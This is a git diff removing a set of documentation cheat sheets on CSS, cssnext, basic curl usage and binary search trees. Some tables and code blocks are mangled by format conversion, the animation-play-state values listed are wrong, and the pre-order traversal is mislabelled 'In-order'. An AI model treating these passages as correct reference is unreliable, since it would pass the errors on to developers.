-  $pane = $(e.target).closest('.scrollable>div')
-  if $pane.length is 0 or $pane[0].scrollHeight <= $pane.innerHeight()
-    e.preventDefault()
-```
-
-```scss
-%ios-scrollable {
-    &,
-    > div {
-        -webkit-overflow-scrolling: touch;
-        overflow: auto;
-    }
-
-    > div {
-        position: absolute;
-        top: 0;
-        left: 0;
-        right: 0;
-        bottom: 0;
-    }
-}
-```
-
-Relevant in iOS6, but maybe not anymore.
-
-#### UIWebView optimizations
-
-```css
-* {
-    -webkit-tap-highlight-color: rgba(0, 0, 0, 0);
-    -webkit-user-select: none; /* disable text select */
-    -webkit-touch-callout: none; /* disable callout, image save panel (popup) */
-    -webkit-tap-highlight-color: transparent; /* "turn off" link highlight */
-}
-
-a:focus {
-    outline: 0; // Firefox (remove border on link click)
-}
-```
-
-See: [http://www.bitsandpix.com/entry/ios-webkit-uiwebview-remove-tapclick-highlightborder-with-css/](http://www.bitsandpix.com/entry/ios-webkit-uiwebview-remove-tapclick-highlightborder-with-css/)
-
-See: [http://www.yuiblog.com/blog/2010/10/01/quick-tip-customizing-the-mobile-safari-tap-highlight-color/](http://www.yuiblog.com/blog/2010/10/01/quick-tip-customizing-the-mobile-safari-tap-highlight-color/)
-
-### Browser hacks
-
-#### Disclaimer
-
-Not recommended, but here they are if you ever need them. Note that vendor prefixes may go away eventually.
-
-#### Mozilla-only
-
-```css
-@-moz-document url-prefix() {
-    .box {
-        color: blue;
-    }
-}
-```
-
-#### Webkit-only
-
-```css
-@media all and (-webkit-min-device-pixel-ratio: 1) {
-}
-```
diff --git a/docs/content/cheat-sheets/css.md b/docs/content/cheat-sheets/css.md
deleted file mode 100644
index c56f53cb17..0000000000
--- a/docs/content/cheat-sheets/css.md
+++ /dev/null
@@ -1,242 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: CSS
-category: CSS
-
-weight: -1
-keywords:
-
--   "margin, padding, border"
--   "div, .class, #id, [attr]"
--   "font, background"
--   "display: block, inline, flex"
--   Selectors
--   Properties
-
----
-
-## Basics
-
-### Selectors
-
-```css
-.class {
-    font-weight: bold;
-}
-```
-
-{: .-setup}
-
-| Selector          | Description  |
-| ----------------- | ------------ |
-| `*`               | All elements |
-| `div`             | Element      |
-| `.class`          | Class        |
-| `#id`             | ID           |
-| `[disabled]`      | Attribute    |
-| `[role="dialog"]` | Attribute    |
-
-### Combinators
-
-| Selector            | Description       |
-| ------------------- | ----------------- |
-| `.parent .child`    | Descendant        |
-| `.parent > .child`  | Direct descendant |
-| `.child + .sibling` | Adjacent sibling  |
-| `.child ~ .sibling` | Far sibling       |
-| `.class1.class2`    | Have both classes |
-
-### Attribute selectors
-
-| Selector           | Description      |
-| ------------------ | ---------------- | --- | ------------------------------- |
-| `[role="dialog"]`  | `=` Exact        |
-| `[class~="box"]`   | `~=` Has word    |
-| `[class            | ="box"]`         | `   | =`Exact or prefix (eg,`value-`) |
-| `[href$=".doc"]`   | `$=` Ends in     |
-| `[href^="/index"]` | `^=` Begins with |
-| `[class*="-is-"]`  | `*=` Contains    |
-
-### Pseudo-classes
-
-| Selector             | Description                |
-| -------------------- | -------------------------- |
-| `:target`            | eg, `h2#foo:target`        |
-| ---                  | ---                        |
-| `:disabled`          |                            |
-| `:focus`             |                            |
-| `:active`            |                            |
-| ---                  | ---                        |
-| `:nth-child(3)`      | 3rd child                  |
-| `:nth-child(3n+2)`   | 2nd child in groups of 3   |
-| `:nth-child(-n+4)`   |                            |
-| ---                  | ---                        |
-| `:nth-last-child(2)` |                            |
-| `:nth-of-type(2)`    |                            |
-| ---                  | ---                        |
-| `:checked`           | Checked inputs             |
-| `:disabled`          | Disabled elements          |
-| `:default`           | Default element in a group |
-| ---                  | ---                        |
-| `:empty`             | Elements without children  |
-
-### Pseudo-class variations
-
-| Selector          |
-| ----------------- |
-| `:first-of-type`  |
-| `:last-of-type`   |
-| `:nth-of-type(2)` |
-| `:only-of-type`   |
-| ---               |
-| `:first-child`    |
-| `:last-child`     |
-| `:nth-child(2)`   |
-| `:only-child`     |
-
-{: .-left-align}
-
-## Fonts
-
-{: .-left-reference}
-
-### Properties
-
-| Property           | Description                          |
-| ------------------ | ------------------------------------ |
-| `font-family:`     | `<font>, <fontN>`                    |
-| `font-size:`       | `<size>`                             |
-| `letter-spacing:`  | `<size>`                             |
-| `line-height:`     | `<number>`                           |
-| ---                | ---                                  |
-| `font-weight:`     | `bold` `normal`                      |
-| `font-style:`      | `italic` `normal`                    |
-| `text-decoration:` | `underline` `none`                   |
-| ---                | ---                                  |
-| `text-align:`      | `left` `right` `center` `justify`    |
-| `text-transform:`  | `capitalize` `uppercase` `lowercase` |
-
-{: .-key-values}
-
-### Shorthand
-
-|         | style    | weight | size (required) |     | line-height | family            |
-| ------- | -------- | ------ | --------------- | --- | ----------- | ----------------- |
-| `font:` | `italic` | `400`  | `14px`          | `/` | `1.5`       | `sans-serif`      |
-|         | style    | weight | size (required) |     | line-height | family (required) |
-
-{: .-css-breakdown}
-
-### Example
-
-```css
-font-family: Arial;
-font-size: 12pt;
-line-height: 1.5;
-letter-spacing: 0.02em;
-color: #aa3322;
-```
-
-### Case
-
-```css
-text-transform: capitalize; /* Hello */
-text-transform: uppercase; /* HELLO */
-text-transform: lowercase; /* hello */
-```
-
-## Background
-
-{: .-left-reference}
-
-### Properties
-
-| Property                 | Description                              |
-| ------------------------ | ---------------------------------------- |
-| `background:`            | _(Shorthand)_                            |
-| ---                      | ---                                      |
-| `background-color:`      | `<color>`                                |
-| `background-image:`      | `url(...)`                               |
-| `background-position:`   | `left/center/right` `top/center/bottom`  |
-| `background-size:`       | `cover` `X Y`                            |
-| `background-clip:`       | `border-box` `padding-box` `content-box` |
-| `background-repeat:`     | `no-repeat` `repeat-x` `repeat-y`        |
-| `background-attachment:` | `scroll` `fixed` `local`                 |
-
-{: .-key-values}
-
-### Shorthand
-
-|               | color  | image         | positionX | positionY |     | size           | repeat      | attachment |
-| ------------- | ------ | ------------- | --------- | --------- | --- | -------------- | ----------- | ---------- |
-| `background:` | `#ff0` | `url(bg.jpg)` | `left`    | `top`     | `/` | `100px` `auto` | `no-repeat` | `fixed;`   |
-| `background:` | `#abc` | `url(bg.png)` | `center`  | `center`  | `/` | `cover`        | `repeat-x`  | `local;`   |
-|               | color  | image         | positionX | positionY |     | size           | repeat      | attachment |
-
-{: .-css-breakdown}
-
-### Multiple backgrounds
-
-```css
-background: linear-gradient(to bottom, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0.5)), url('background.jpg') center center / cover, #333;
-```
-
-## Animation
-
-{: .-left-reference}
-
-### Properties
-
-| Property                     | Value                                                    |
-| ---------------------------- | -------------------------------------------------------- |
-| `animation:`                 | _(shorthand)_                                            |
-| `animation-name:`            | `<name>`                                                 |
-| `animation-duration:`        | `<time>ms`                                               |
-| `animation-timing-function:` | `ease` `linear` `ease-in` `ease-out` `ease-in-out`       |
-| `animation-delay:`           | `<time>ms`                                               |
-| `animation-iteration-count:` | `infinite` `<number>`                                    |
-| `animation-direction:`       | `normal` `reverse` `alternate` `alternate-reverse`       |
-| `animation-fill-mode:`       | `none` `forwards` `backwards` `both` `initial` `inherit` |
-| `animation-play-state:`      | `normal` `reverse` `alternate` `alternate-reverse`       |
-
-{: .-key-values}
-
-### Shorthand
-
-|              | name     | duration | timing-function | delay   | count      | direction           | fill-mode | play-state |
-| ------------ | -------- | -------- | --------------- | ------- | ---------- | ------------------- | --------- | ---------- |
-| `animation:` | `bounce` | `300ms`  | `linear`        | `100ms` | `infinite` | `alternate-reverse` | `both`    | `reverse`  |
-|              | name     | duration | timing-function | delay   | count      | direction           | fill-mode | play-state |
-
-{: .-css-breakdown}
-
-### Example
-
-```css
-animation: bounce 300ms linear 0s infinite normal;
-animation: bounce 300ms linear infinite;
-animation: bounce 300ms linear infinite alternate-reverse;
-animation: bounce 300ms linear 2s infinite alternate-reverse forwards normal;
-```
-
-### Event
-
-```js
-.one('webkitAnimationEnd oanimationend msAnimationEnd animationend')
-```
diff --git a/docs/content/cheat-sheets/cssnext-1.md b/docs/content/cheat-sheets/cssnext-1.md
deleted file mode 100644
index 1426ee9149..0000000000
--- a/docs/content/cheat-sheets/cssnext-1.md
+++ /dev/null
@@ -1,171 +0,0 @@
-# cssnext
-
-#### Variables
-
-```scss
-:root {
-    --text-color: #30333a;
-}
-```
-
-```scss
-body {
-    background: var(--text-color);
-    background: color(var(--text-color) shade(30%));
-}
-```
-
-#### Colors
-
-```scss
-a {
-    /* Adjustments */
-    color: color(red alpha(-10%));
-    color: color(red tint(-10%)); /* lighten */
-    color: color(red shade(-10%)); /* darken */
-
-    /* Absolute */
-    color: color(red alpha(50%));
-    color: color(red hue(225));
-    color: color(red saturation(100%));
-    color: color(red lightness(50%));
-
-    color: gray(33); /* rgb(33, 33, 33) */
-    color: gray(33%); /* rgb(84, 84, 84) */
-    color: gray(33%, 50%); /* rgba(84, 84, 84, 0.5) */
-    color: #0000ff80; /* rgba(0, 0, 255, 0.5) */
-
-    color: hwb(90, 0%, 0%, 0.5); /* like hsl() but easier for humans */
-    color: hsl(90deg 90% 70%); /* hsl(180, 90%, 70%) -- supports deg */
-    color: hsl(90deg 90% 70% / 30%); /* hsla(180, 90%, 70%, 0.3) */
-    color: rgb(30 60 90 / 30%); /* rgba(30, 60, 90, 0.3) */
-}
-```
-
-Also see [colorme.io](http://colorme.io).
-
-#### Mixins
-
-```scss
-:root {
-    --centered: {
-        display: flex;
-        align-items: center;
-        justify-content: center;
-    }
-}
-
-.centered {
-    @apply --centered;
-}
-```
-
-### Selectors
-
-#### Nesting
-
-```scss
-.class-name {
-  & .nesting { ··· }      /* direct nesting starts with & */
-  @nest span & { ··· }    /* complex nesting */
-  @media (min-width: 30em) { ··· }
-}
-```
-
-#### Custom selectors
-
-```scss
-@custom-selector :--button input[type='submit'], input[type='button'];
-@custom-selector :--enter :hover, :focus;
-```
-
-```scss
-:--button { ··· }
-:--button:--enter { ··· }
-```
-
-{: .-setup}
-
-#### Future selectors
-
-```scss
-:any-link { ··· }         /* :link, :visited */
-p:matches(.a, .b) { ··· } /* p.a, p.b */
-p:not(.a, .b) { ··· }     /* p:not(.a), p:not(.b) */
-a::before { ··· }         /* a:before -- for IE compatibility */
-[frame=hsides i] { ··· }  /* [frame=hsides] -- but case insensitive */
-```
-
-### Media queries
-
-#### Custom media queries
-
-```scss
-@custom-media --viewport-medium (width <= 50rem);
-```
-
-```scss
-@media (--viewport-medium) { ··· }
-```
-
-#### Media query ranges
-
-```scss
-@media (width >= 500px) { ··· }    /* (min-width: 500px) */
-```
-
-### Properties
-
-#### Property fallbacks
-
-```scss
-/* font-feature-settings fallback */
-h2 {
-    font-variant-caps: small-caps;
-}
-table {
-    font-variant-numeric: lining-nums;
-}
-```
-
-```scss
-div {
-    filter: blur(4px);
-} /* svg filter fallback */
-div {
-    overflow-wrap: break-word;
-} /* word-wrap fallback */
-```
-
-#### Autoprefixing
-
-```scss
-div {
-    display: flex;
-}
-```
-
-```scss
-/*
- * display: -webkit-box;
- * display: -ms-flexbox;
- * display: flex;
- */
-```
-
-#### Reset
-
-```scss
-div {
-    all: initial;
-}
-```
-
-Sets animation, background, margin, padding, and so on.
-
-### References
-
-{: .-one-column}
-
--   Based on cssnext 2.9.0.
--   [http://cssnext.io/features/](http://cssnext.io/features/)
diff --git a/docs/content/cheat-sheets/cssnext.md b/docs/content/cheat-sheets/cssnext.md
deleted file mode 100644
index 7ebf4fc667..0000000000
--- a/docs/content/cheat-sheets/cssnext.md
+++ /dev/null
@@ -1 +0,0 @@
-# cssnext
diff --git a/docs/content/cheat-sheets/curl.md b/docs/content/cheat-sheets/curl.md
deleted file mode 100644
index 4332f6d9ae..0000000000
--- a/docs/content/cheat-sheets/curl.md
+++ /dev/null
@@ -1,71 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
-# To download a file:
-
-curl <url>
-
-# To download and rename a file:
-
-curl <url> -o <outfile>
-
-# To download multiple files:
-
-curl -O <url> -O <url>
-
-# To download all sequentially numbered files (1-24):
-
-curl http://example.com/pic[1-24].jpg
-
-# To download a file and pass HTTP authentication:
-
-curl -u <username>:<password> <url>
-
-# To download a file with a proxy:
-
-curl -x <proxy-host>:<port> <url>
-
-# To download a file over FTP:
-
-curl -u <username>:<password> -O ftp://example.com/pub/file.zip
-
-# To get an FTP directory listing:
-
-curl ftp://username:password@example.com
-
-# To resume a previously failed download:
-
-curl -C - -o <partial-file> <url>
-
-# To fetch only the HTTP headers from a response:
-
-curl -I <url>
-
-# To fetch your external IP and network info as JSON:
-
-curl http://ifconfig.me/all.json
-
-# To limit the rate of a download:
-
-curl --limit-rate 1000B -O <outfile>
-
-# To get your global IP:
-
-curl httpbin.org/ip
-
-# To get only the HTTP status code:
-
-curl -o /dev/null -w '%{http_code}\n' -s -I URL
diff --git a/docs/content/cheat-sheets/custom.md b/docs/content/cheat-sheets/custom.md
deleted file mode 100644
index 96a47352ab..0000000000
--- a/docs/content/cheat-sheets/custom.md
+++ /dev/null
@@ -1,7 +0,0 @@
----
-name: Custom issue template
-about: Describe this issue template's purpose here.
-title: ''
-labels: ''
-assignees: ''
----
diff --git a/docs/content/cheat-sheets/data-structures-cheat-sheet.md b/docs/content/cheat-sheets/data-structures-cheat-sheet.md
deleted file mode 100644
index 4e385e5373..0000000000
--- a/docs/content/cheat-sheets/data-structures-cheat-sheet.md
+++ /dev/null
@@ -1,2471 +0,0 @@
-# Data Structures Cheat Sheet
-
-> Its always good to have a look at worst-case time complexities of common data structure operations frequently.
-
-Its always good to have a look at worst-case time complexities of common data structure operations frequently.
-
-![Image for post](https://miro.medium.com/max/60/1*6NpRbTpekXG_1l5hh1XeIQ.png?q=20)
-
-![Image for post](https://miro.medium.com/max/3572/1*6NpRbTpekXG_1l5hh1XeIQ.png)
-
-Arrays are one of the basic and important data structures to learn, They take constant time to read and Insert elements at the end and takes a linear time for the remaining.
-
-![Image for post](https://miro.medium.com/max/60/1*vFbcvaNX-aWr5-wERwKFIA.png?q=20)
-
-![Image for post](https://miro.medium.com/max/3746/1*vFbcvaNX-aWr5-wERwKFIA.png)
-
-Stack takes constant time for Push, Pop & Peek operations.
-
-![Image for post](https://miro.medium.com/max/60/1*HgkpbE06UCWm2G3U54J8ew.png?q=20)
-
-![Image for post](https://miro.medium.com/max/2512/1*HgkpbE06UCWm2G3U54J8ew.png)
-
-In Queue for Enqueue, Dequeue & Peek operations it takes only Constant time.
-
-![Image for post](https://miro.medium.com/max/60/1*amq4OYYapQjaN2QXIG5eUw.png?q=20)
-
-![Image for post](https://miro.medium.com/max/3942/1*amq4OYYapQjaN2QXIG5eUw.png)
-
-Here we are considering we are using tails for all single linked lists (Some implementations might not have it).\
-Linked List is the data structure that comes with a lot of different operational scenarios, we have to think about head & tail usage in every operation we are doing. And operation logic and complexity changes at the head, tail, and middle. Typically insertion at head & tail takes constant time and insertion in middle takes linear time. Search can take linear time. Deletion at the head takes constant time and it can take linear time in remaining scenarios.
-
----
-
-## Trees: basic concepts
-
-A tree is a data structure where a node can have zero or more children. Each node contains a **value**. Like graphs, the connection between nodes is called **edges**. A tree is a type of graph, but not all of them are trees (more on that later).
-
-These data structures are called "trees" because the data structure resembles a tree 🌳. It starts with a **root** node and **branch** off with its descendants, and finally, there are **leaves**.
-
-![](https://chrome-extension/cjedbglnccaioiolemnfhjncicchinao/images/tree-parts.jpg)
-
-Here are some properties of trees:
-
--   The top-most node is called **root**.
--   A node without children is called **leaf** node or **terminal** node.
--   **Height** (_h_) of the tree is the distance (edge count) between the farthest leaf to the root.
-    -   `A` has a height of 3
-    -   `I` has a height of 0
--   **Depth** or **level** of a node is the distance between the root and the node in question.
-    -   `H` has a depth of 2
-    -   `B` has a depth of 1
-
-### Implementing a simple tree data structure
-
-As we saw earlier, a tree node is just a data structure that has a value and has links to their descendants.
-
-Here's an example of a tree node:
-
-| <pre><code>123456</code></pre> | <pre><code>class TreeNode { constructor(value) { this.value = value; this.descendents = []; }}</code></pre> |
-| ------------------------------ | ----------------------------------------------------------------------------------------------------------- |
-
-We can create a tree with 3 descendents as follows:
-
-| <pre><code>12345678910</code></pre> | <pre><code>const abe = new TreeNode('Abe');const homer = new TreeNode('Homer');const bart = new TreeNode('Bart');const lisa = new TreeNode('Lisa');const maggie = new TreeNode('Maggie');abe.descendents.push(homer);homer.descendents.push(bart, lisa, maggie);</code></pre> |
-| ----------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-
-That's all; we have a tree data structure!
-
-![](https://chrome-extension/cjedbglnccaioiolemnfhjncicchinao/images/simpson2-tree.jpg)
-
-The node `abe` is the **root** and `bart`, `lisa` and `maggie` are the **leaf** nodes of the tree. Notice that the tree's node can have a different number of descendants: 0, 1, 3, or any other value.
-
-Tree data structures have many applications such as:
-
--   [Maps](https://adrianmejia.com/blog/2018/04/28/data-structures-time-complexity-for-beginners-arrays-hashmaps-linked-lists-stacks-queues-tutorial/#HashMaps)
--   [Sets](https://adrianmejia.com/blog/2018/04/28/data-structures-time-complexity-for-beginners-arrays-hashmaps-linked-lists-stacks-queues-tutorial/#Sets)
--   Databases
--   Priority Queues
--   Querying an LDAP (Lightweight Directory Access Protocol)
--   Representing the Document Object Model (DOM) for HTML on Websites.
-
-## Binary Trees
-
-Trees nodes can have zero or more children. However, when a tree has at the most two children, then it's called **binary tree**.
-
-### Full, Complete and Perfect binary trees
-
-Depending on how nodes are arranged in a binary tree, it can be **full**, **complete** and **perfect**:
-
--   **Full binary tree**: each node has exactly 0 or 2 children (but never 1).
--   **Complete binary tree**: when all levels except the last one are **full** with nodes.
--   **Perfect binary tree**: when all the levels (including the last one) are full of nodes.
-
-Look at these examples:
-
-![](https://chrome-extension/cjedbglnccaioiolemnfhjncicchinao/images/full-complete-perfect-binary-tree.jpg)
-
-These properties are not always mutually exclusive. You can have more than one:
-
--   A perfect tree is **always** complete and full.
-    -   Perfect binary trees have precisely 2k-1 nodes, where _`k`_ is the last level of the tree (starting with 1).
--   A complete tree is **not** always `full`.
-    -   Like in our "complete" example, since it has a parent with only one child. If we remove the rightmost gray node, then we would have a **complete** and **full** tree but not perfect.
--   A full tree is not always complete and perfect.
-
-## Binary Search Tree (BST)
-
-Binary Search Trees or BST for short are a particular application of binary trees. BST has at most two nodes (like all binary trees). However, the values are in such a way that the left children value must be less than the parent, and the right children is must be higher.
-
-**Duplicates:** Some BST doesn't allow duplicates while others add the same values as a right child. Other implementations might keep a count on a case of the duplicity (we are going to do this one later).
-
-Let's implement a Binary Search Tree!
-
-### BST Implementation
-
-BST are very similar to our previous [implementation of a tree](broken-reference/). However, there are some differences:
-
--   Nodes can have at most, only two children: left and right.
--   Nodes values has to be ordered as `left < parent < right`.
-
-Here's the tree node. Very similar to what we did before, but we added some handy getters and setters for left and right children. Notice that is also keeping a reference to the parent and we update it every time add children.
-
-TreeNode.js[Code](https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/trees/tree-node.js)
-
-| <pre><code>1234567891011121314151617181920212223242526272829303132</code></pre> | <pre><code>const LEFT = 0;const RIGHT = 1;class TreeNode { constructor(value) { this.value = value; this.descendents = []; this.parent = null; } get left() { return this.descendents[LEFT]; } set left(node) { this.descendents[LEFT] = node; if (node) { node.parent = this; } } get right() { return this.descendents[RIGHT]; } set right(node) { this.descendents[RIGHT] = node; if (node) { node.parent = this; } }}</code></pre> |
-| ------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-
-Ok, so far we can add a left and right child. Now, let's do the BST class that enforces the `left < parent < right` rule.
-
-BinarySearchTree.js linkUrl linkText
-
-| <pre><code>12345678910111213</code></pre> | <pre><code>class BinarySearchTree { constructor() { this.root = null; this.size = 0; } add(value) { } find(value) { } remove(value) { } getMax() { } getMin() { }}</code></pre> |
-| ----------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-
-Let's implementing insertion.
-
-### BST Node Insertion
-
-To insert a node in a binary tree, we do the following:
-
-1. If a tree is empty, the first node becomes the **root** and you are done.
-2. Compare root/parent's value if it's _higher_ go **right**, if it's _lower_ go **left**. If it's the same, then the value already exists so you can increase the duplicate count (multiplicity).
-3. Repeat #2 until we found an empty slot to insert the new node.
-
-Let's do an illustration how to insert 30, 40, 10, 15, 12, 50:
-
-![](https://chrome-extension/cjedbglnccaioiolemnfhjncicchinao/images/bst2.gif)
-
-We can implement insert as follows:
-
-BinarySearchTree.prototype.add[Full Code](https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/trees/binary-search-tree.js#L11)
-
-|
-
-```
-12345678910111213141516171819
-```
-
-|
-
-```
-add(value) {  const newNode = new TreeNode(value);  if (this.root) {    const { found, parent } = this.findNodeAndParent(value);    if (found) {       found.meta.multiplicity = (found.meta.multiplicity || 1) + 1;    } else if (value < parent.value) {      parent.left = newNode;    } else {      parent.right = newNode;    }  } else {    this.root = newNode;  }  this.size += 1;  return newNode;}
-```
-
-\| | ----------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-
-We are using a helper function called `findNodeAndParent`. If we found that the node already exists in the tree, then we increase the `multiplicity` counter. Let's see how this function is implemented:
-
-BinarySearchTree.prototype.findNodeAndParent[Full Code](https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/trees/binary-search-tree.js#L44)
-
-| <pre><code>1234567891011121314</code></pre> | <pre><code>findNodeAndParent(value) { let node = this.root; let parent; while (node) { if (node.value === value) { break; } parent = node; node = ( value >= node.value) ? node.right : node.left; } return { found: node, parent };}</code></pre> |
-| ------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-
-`findNodeAndParent` goes through the tree searching for the value. It starts at the root (line 2) and then goes left or right based on the value (line 10). If the value already exists, it will return the node `found` and also the parent. In case that the node doesn't exist, we still return the `parent`.
-
-### BST Node Deletion
-
-We know how to insert and search for value. Now, we are going to implement the delete operation. It's a little trickier than adding, so let's explain it with the following cases:
-
-**Deleting a leaf node (0 children)**
-
-| <pre><code>1234567</code></pre> | <pre><code> 30 30 / \ remove(12) / \10 40 ---------> 10 40 \ / \ \ / \ 15 35 50 15 35 50 /12\*</code></pre> |
-| ------------------------------- | ----------------------------------------------------------------------------------------------------------- |
-
-We just remove the reference from node's parent (15) to be null.
-
-**Deleting a node with one child.**
-
-| <pre><code>12345</code></pre> | <pre><code> 30 30 / \ remove(10) / \10\* 40 ---------> 15 40 \ / \ / \ 15 35 50 35 50</code></pre> |
-| ----------------------------- | -------------------------------------------------------------------------------------------------- |
-
-In this case, we go to the parent (30) and replace the child (10), with a child's child (15).
-
-**Deleting a node with two children**
-
-| <pre><code>12345</code></pre> | <pre><code> 30 30 / \ remove(40) / \15 40\* ---------> 15 50 / \ / 35 50 35</code></pre> |
-| ----------------------------- | ---------------------------------------------------------------------------------------- |
-
-We are removing node 40, that has two children (35 and 50). We replace the parent's (30) child (40) with the child's right child (50). Then we keep the left child (35) in the same place it was before, so we have to make it the left child of 50.
-
-Another way to do it to remove node 40, is to move the left child (35) up and then keep the right child (50) where it was.
-
-| <pre><code>12345</code></pre> | <pre><code> 30 / \15 35 \ 50</code></pre> |
-| ----------------------------- | ----------------------------------------- |
-
-Either way is ok as long as you keep the binary search tree property: `left < parent < right`.
-
-**Deleting the root.**
-
-| <pre><code>12345</code></pre> | <pre><code> 30\* 50 / \ remove(30) / \15 50 ---------> 15 35 / 35</code></pre> |
-| ----------------------------- | ------------------------------------------------------------------------------ |
-
-Deleting the root is very similar to removing nodes with 0, 1, or 2 children that we discussed earlier. The only difference is that afterward, we need to update the reference of the root of the tree.
-
-Here's an animation of what we discussed.
-
-![](https://chrome-extension/cjedbglnccaioiolemnfhjncicchinao/images/bst-remove.gif)
-
-In the animation, it moves up the left child/subtree and keeps the right child/subtree in place.
-
-Now that we have a good idea how it should work, let's implement it:
-
-BinarySearchTree.prototype.remove[Full Code](https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/trees/binary-search-tree.js#L89)
-
-| <pre><code>1234567891011121314151617181920212223</code></pre> | <pre><code>remove(value) { const nodeToRemove = this.find(value); if (!nodeToRemove) return false; const nodeToRemoveChildren = this.combineLeftIntoRightSubtree(nodeToRemove); if (nodeToRemove.meta.multiplicity &#x26;&#x26; nodeToRemove.meta.multiplicity > 1) { nodeToRemove.meta.multiplicity -= 1; } else if (nodeToRemove === this.root) { this.root = nodeToRemoveChildren; this.root.parent = null; } else { const side = nodeToRemove.isParentLeftChild ? 'left' : 'right'; const { parent } = nodeToRemove; parent[side] = nodeToRemoveChildren; } this.size -= 1; return true;}</code></pre> |
-| ------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-
-Here are some highlights of the implementation:
-
--   First, we search if the node exists. If it doesn't, we return false and we are done!
--   If the node to remove exists, then combine left and right children into one subtree.
--   Replace node to delete with the combined subtree.
-
-The function that combines left into right subtree is the following:
-
-BinarySearchTree.prototype.combineLeftIntoRightSubtree[Full Code](https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/trees/binary-search-tree.js#L89)
-
-| <pre><code>12345678</code></pre> | <pre><code>combineLeftIntoRightSubtree(node) { if (node.right) { const leftmost = this.getLeftmost(node.right); leftmost.left = node.left; return node.right; } return node.left;}</code></pre> |
-| -------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-
-For instance, let's say that we want to combine the following tree and we are about to delete node `30`. We want to mix 30's left subtree into the right one. The result is this:
-
-| <pre><code>1234567</code></pre> | <pre><code> 30\* 40 / \ / \10 40 combine(30) 35 50 \ / \ -----------> / 15 35 50 10 \ 15</code></pre> |
-| ------------------------------- | ----------------------------------------------------------------------------------------------------- |
-
-Now, and if we make the new subtree the root, then node `30` is no more!
-
-## Binary Tree Transversal
-
-There are different ways of traversing a Binary Tree, depending on the order that the nodes are visited: in-order, pre-order, and post-order. Also, we can use them [DFS](https://chrome-extension/cjedbglnccaioiolemnfhjncicchinao/blog/2018/05/14/Data-Structures-for-Beginners-Graphs-Time-Complexity-tutorial/#Depth-first-search-DFS-Graph-search) and [BFS](https://chrome-extension/cjedbglnccaioiolemnfhjncicchinao/blog/2018/05/14/Data-Structures-for-Beginners-Graphs-Time-Complexity-tutorial/#Breadth-frirst-search-BFS-Graph-search) that we learned from the [graph post.](https://chrome-extension/cjedbglnccaioiolemnfhjncicchinao/blog/2018/05/14/Data-Structures-for-Beginners-Graphs-Time-Complexity-tutorial/) Let's go through each one.
-
-**In-Order Traversal**
-
-In-order traversal visit nodes on this order: left, parent, right.
-
-BinarySearchTree.prototype.inOrderTraversal[Full Code](https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/trees/binary-search-tree.js)
-
-| <pre><code>12345</code></pre> | <pre><code>_ inOrderTraversal(node = this.root) { if (node.left) { yield_ this.inOrderTraversal(node.left); } yield node; if (node.right) { yield\* this.inOrderTraversal(node.right); }}</code></pre> |
-| ----------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
-
-Let's use this tree to make the example:
-
-| <pre><code>1234567</code></pre> | <pre><code> 10 / \ 5 30 / / \ 4 15 40 /3</code></pre> |
-| ------------------------------- | ----------------------------------------------------- |
-
-In-order traversal would print out the following values: `3, 4, 5, 10, 15, 30, 40`. If the tree is a BST, then the nodes will be sorted in ascendent order as in our example.
-
-**Post-Order Traversal**
-
-Post-order traversal visit nodes on this order: left, right, parent.
-
-BinarySearchTree.prototype.postOrderTraversal[Full Code](https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/trees/binary-search-tree.js)
-
-| <pre><code>12345</code></pre> | <pre><code>_ postOrderTraversal(node = this.root) { if (node.left) { yield_ this.postOrderTraversal(node.left); } if (node.right) { yield\* this.postOrderTraversal(node.right); } yield node;}</code></pre> |
-| ----------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
-
-Post-order traversal would print out the following values: `3, 4, 5, 15, 40, 30, 10`.
-
-**Pre-Order Traversal and DFS**
-
-In-order traversal visit nodes on this order: parent, left, right.
-
-BinarySearchTree.prototype.preOrderTraversal[Full Code](https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/trees/binary-search-tree.js)
-
-| <pre><code>12345</code></pre> | <pre><code>_ preOrderTraversal(node = this.root) { yield node; if (node.left) { yield_ this.preOrderTraversal(node.left); } if (node.right) { yield\* this.preOrderTraversal(node.right); }}</code></pre> |
-| ----------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-
-Pre-order traversal would print out the following values: `10, 5, 4, 3, 30, 15, 40`. This order of numbers is the same result that we would get if we run the Depth-First Search (DFS).
-
-BinarySearchTree.prototype.dfs[Full Code](https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/trees/binary-search-tree.js)
-
